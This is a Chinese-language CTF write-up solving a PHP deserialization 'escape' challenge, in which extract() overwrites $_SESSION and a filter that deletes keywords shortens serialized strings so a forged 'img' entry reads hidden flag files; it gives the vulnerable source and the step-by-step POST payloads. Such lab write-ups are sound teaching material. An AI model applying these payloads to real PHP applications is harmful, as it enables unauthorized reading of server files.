zoukankan      html  css  js  c++  java
  • 记一道php反序列化由多换少型的逃逸

    记一道php反序列化由多换少型的逃逸

    前言

    • 环境:buuctf中[安洵杯 2019]easy_serialize_php
    • 知识点:php反序列化逃逸
    • 参考:wp

    做题

     <?php
    
    $function = @$_GET['f'];
    
    function filter($img){
        $filter_arr = array('php','flag','php5','php4','fl1g');
        $filter = '/'.implode('|',$filter_arr).'/i';
        return preg_replace($filter,'',$img);
    }
    
    
    if($_SESSION){
        unset($_SESSION);
    }
    
    $_SESSION["user"] = 'guest';
    $_SESSION['function'] = $function;
    
    extract($_POST);
    
    if(!$function){
        echo '<a href="index.php?f=highlight_file">source_code</a>';
    }
    
    if(!$_GET['img_path']){
        $_SESSION['img'] = base64_encode('guest_img.png');
    }else{
        $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
    }
    
    $serialize_info = filter(serialize($_SESSION));
    
    if($function == 'highlight_file'){
        highlight_file('index.php');
    }else if($function == 'phpinfo'){
        eval('phpinfo();'); //maybe you can find something in here!
    }else if($function == 'show_image'){
        $userinfo = unserialize($serialize_info);
        echo file_get_contents(base64_decode($userinfo['img']));
    } 
    

    在phpinfo中找到提示d0g3_f1ag.php

    要读取d0g3_f1ag.php

    调用得file_get_contents函数读取的参数是$userinfo['img']),而$userinfo是由$serialize_info 反序列化过来,$serialize_info 是由$_SESSION 数组序列化得来,而$SESSION['img']是不可控的,那么突破点在哪里呢?

    诶! 突破点在于数组序列化之后,过滤时将某些字符串由多换成少,会造成漏洞

    借用某位大佬得话:任何具有一定结构的数据,只要经过了某些处理而把自身结构改变,则可能会产生漏洞。

    之前接触的反序列化逃逸是字符串由少变多,而这里则是由多变少

    进行分析

    首先得知道extract会造成变量覆盖,但传进去_SESSION['flag']=flag时,会把之前得$SESSION数组清空,然后再赋值


    我们先按照题意构造序列化串

    a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBocA==";}

    要造成逃逸,因为img是在最后面,显然是要把s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} 放进去

    根据序列化字符串格式,逐步往前构造

    参照

    a:2:{s:4:"user";s:5:"guest";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

    先构造s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} ,因为键值被替换为空,我们要构造一个值与多出来的那个键值匹配s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

    根据格式,x表示未知

    被吃之前:

    【s:x:"xxxxx";】【s:x:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"】

    被吃之后

    【s:x:"";s:x:";】【s:1:"1";】【s:3:"img";】【s:20:"ZDBnM19mMWFnLnBocA==";】}"

    显然背吃之后的第二个x表示的是;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} 得长度48

    【s:x:"";s:48:";】【s:1:"1";】【s:3:"img";】【s:20:"ZDBnM19mMWFnLnBocA=="】;}"

    那么第一个x就是7,则被替换的字符串有7个,要将7个字符串全部替换为空

    【s:7:"phpflag";s:48:";】【s:1:"1";】【s:3:"img";】【s:20:"ZDBnM19mMWFnLnBocA=="】;}"

    我们得payload:

    POST:

    _SESSION['flagphp']=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

    得到/d0g3_fllllllag

    替换

    _SESSION['flagphp']=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

  • 相关阅读:
    实现servlet的三种方式
    java中的运算符与表达式
    封装链接数据库的工具
    java 概述
    HTTP请求方式中get和post的区别
    asp.net获取当前网址url
    利用IP安全策略关闭危险端口
    IE6 css fixed
    存储过程中使用事务详解
    windows 2003内存性能分析工具
  • 原文地址:https://www.cnblogs.com/NineOne/p/14118103.html
Copyright © 2011-2022 走看看